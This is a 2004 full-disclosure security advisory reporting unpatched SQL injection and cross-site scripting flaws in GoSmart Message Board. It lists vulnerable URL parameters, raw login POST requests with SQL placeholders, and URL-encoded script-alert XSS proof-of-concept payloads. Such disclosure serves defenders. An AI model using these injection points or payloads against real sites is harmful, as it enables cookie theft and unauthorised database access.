full-disclosure - [MAxpatrol Security Advisory] Multiple vulnerabilities in GoSmart Message Board

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Message-ID: <02b701c4afc3$44bc2140$0d8cfda7@rfets.gov>
From: antipov at SecurityLab.ru (Alexander Antipov)
Subject: [MAxpatrol Security Advisory]  Multiple vulnerabilities in GoSmart Message Board

This vulnerability was discovered by Positive Technologies using
MaxPatrol (www.maxpatrol.com) - intellectual professional security
scanner. It is able to detect a substantial amount of vulnerabilities
not published yet. MaxPatrol's intelligent algorithms are also capable
to detect a lot of vulnerabilities in custom web-scripts (XSS, SQL and
code injections, HTTP Response splitting).

Date: 11.10.04

Severity: Low

Application: GoSmart Message Board, http://www.gosmart4u.com/forum.aspx

Platform: ASP

I. DESCRIPTION

--------------

Multiple vulnerabilities were found in GoSmart Message Board. A remote
user can conduct SQL injection attack and Cross site scripting attack. 

1. SQL injection (minimal risk, because using Access database)

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1

messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1

messageboard/Forum.asp?Category=[SQL CODE HERE]

POST /messageboard/Login_Exec.asp HTTP/1.1 
Host: www.gosmart4u.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 29 

Username=[SQL CODE HERE]&Password=1&Login=1 

POST /messageboard/Login_Exec.asp HTTP/1.1 
Host: www.gosmart4u.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 29 

Username=1&Password=[SQL CODE HERE]&Login=1

2. XSS:

/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E%3C%22

/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%
28%29%3C%2Fscript%3E%3C%22

II. IMPACT

----------

A remote user can access the target user's cookies (including
authentication cookies).   

A remote user can cause SQL commands to be executed by the underlying
database.

III. SOLUTION

-------------
Not available currently.

IV. VENDOR FIX/RESPONSE

-----------------------
n/a

V. CREDIT

-------------
Positive Technologies (www.ptsecurity.com) is information security
company especially focused on development of MaxPatrol - professional
security scanner.